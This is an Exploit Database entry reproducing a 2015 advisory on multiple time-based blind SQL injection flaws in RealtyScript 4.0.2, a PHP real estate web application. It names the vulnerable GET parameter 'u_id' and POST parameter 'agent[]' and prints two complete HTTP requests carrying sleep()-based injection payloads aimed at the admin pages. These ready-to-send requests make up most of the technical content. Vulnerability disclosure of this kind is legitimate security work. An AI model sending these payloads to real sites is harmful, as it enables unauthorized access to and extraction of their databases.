



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# RealtyScript 4.0.2 - Multiple Blind SQL Injections

**EDB-ID:**

38497

**CVE:**

**EDB Verified:** ✘

**Author:**

[LIQUIDWORM](#)

**Type:**

[WEBAPPS](#)

**Exploit:**  

**Platform:**

[PHP](#)

**Date:**

2015-10-19

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

## RealtyScript v4.0.2 Multiple Time-based Blind SQL Injection Vulnerabilities

Vendor: Next Click Ventures

Product web page: <http://www.realtyscript.com>

Affected version: 4.0.2

Summary: RealtyScript is award-winning real estate software that makes it effortless for a real estate agent, office, or entrepreneur to be up and running with a real estate web site in minutes. The software is in daily use on thousands of domain names in over 40 countries and has been translated into over 25 languages.

Desc: RealtyScript suffers from multiple SQL Injection vulnerabilities. Input passed via the GET parameter 'u\_id' and the POST parameter 'agent[]' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Tested on: Apache/2.4.6 (CentOS)

PHP/5.4.16

MariaDB-5.5.41

Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience

Advisory ID: ZSL-2015-5270

Advisory URL: <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5270.php>

01.10.2015

--

(1)

```
GET /admin/users.php?req=remove&u_id=103 and (select * from
(select(sleep(66)))a)-- & HTTP/1.1
```

(2)

```
POST /admin/mailer.php HTTP/1.1
```

```
Host: TARGET
```

```
Content-Length: 62
```

```
Cache-Control: max-age=0
```

```
Accept:
```

```
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
```

```
Origin: http://TARGET
```

```
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/45.0.2454.101 Safari/537.36
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Referer: http://TARGET/admin/mailer.php
```

```
Accept-Encoding: gzip, deflate
```

```
Accept-Language: en-US,en;q=0.8
```

```
Cookie: PHPSESSID=vaq21340scj2u53a1b96ehvid5;
```

```
agent[]=102 and (select * from (select(sleep(67)))a)--
&subject=test&message=t00t^^&submit_mailer=Send
```





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.